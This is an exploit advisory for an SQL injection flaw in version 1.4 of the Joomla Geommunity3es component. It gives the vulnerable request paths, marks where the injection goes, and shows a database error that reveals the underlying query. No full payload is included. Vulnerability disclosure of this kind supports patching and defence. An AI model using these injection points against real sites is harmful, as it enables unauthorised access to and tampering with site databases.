####################################################################

# Exploit Title : Joomla Geommunity3es Components 1.4 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 25/02/2019
# Vendor Homepage : nordmograph.com
# Software Download Link : nordmograph.com/extensions
/index.php?option=com_virtuemart&view=productdetails
&virtuemart_product_id=142&virtuemart_category_id=7&Itemid=58
# Software Information Link : extensions.joomla.org/extension/geommunity/
# Software Affected Version : 1.4
# Software Price : Paid download - 10 Euro
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of 
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
Geommunity3 (for any located Joomla & 3rd party content) is the host component 

to locate, on AJAX Google Maps, all your Joomla 3rd party extensions content via plugins.

####################################################################

# Impact :
***********
Joomla Geommunity3es Components 1.4 component for Joomla is prone to an SQL-injection 

vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 

Exploiting this issue could allow an attacker to compromise the application, access 

or modify data, or exploit latent vulnerabilities in the underlying database.  

A remote attacker can send a specially crafted request to the vulnerable application and 

execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

####################################################################

# SQL Injection Exploit :
**********************
/index.php/component/geommunity3es/?view=videomarkers&format=json

/index.php/component/geommunity3es/?view=videomarkers&format=[SQL Injection]

####################################################################

# Example SQL Database Error :
****************************
1064 - You have an error in your SQL syntax; check the manual that corresponds to your 
MySQL server version for the right syntax to use near 'AND ) AND ( longitude 
BETWEEN AND 180 OR longitude BETWEEN -180 AND )' at line 8 SQL=SELECT 
sa.id , sa.title , sl.latitude, sl.longitude , spi.value AS privacy_value FROM #__social_albums 
sa JOIN #__social_locations sl ON sl.uid = sa.id LEFT JOIN #__social_privacy_items spi
 ON spi.uid = sa.id AND spi.type='albums' AND spi.user_id = sa.user_id WHERE 
sl.type='albums' AND (spi.value='0' OR spi.value IS NULL) HAVING sl.latitude
 !='' AND sl.longitude !='' AND latitude !='0' AND longitude !='0' AND 
( latitude BETWEEN AND ) AND ( longitude BETWEEN AND 180 
OR longitude BETWEEN -180 AND )

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

####################################################################